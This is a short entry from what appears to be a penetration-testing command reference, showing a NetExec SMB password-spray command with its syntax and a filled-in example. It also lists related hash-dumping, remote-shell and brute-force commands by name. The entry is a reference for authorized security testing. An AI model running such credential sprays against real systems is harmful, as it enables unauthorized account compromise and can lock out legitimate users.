NetExec SMB Password Spray

Spray a single password against multiple users via SMB, continuing on valid hits

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Authentication / Brute Force & Spraying
Platform: linux
Requires: no credentials
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<userlist>' -p '<password>' --continue-on-success

Examples

nxc smb '192.168.1.100' -u users.txt -p 'Password123' --continue-on-success

Tags

nxc smb password-spray brute-force credential-testing

Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
Evil-WinRM Shell Windows Remote Management shell connection
Kerbrute Password Spray Password spray a single password against a list of users via Kerberos (avoids lockout,…
NetExec SMB Brute Force SMB password brute force attack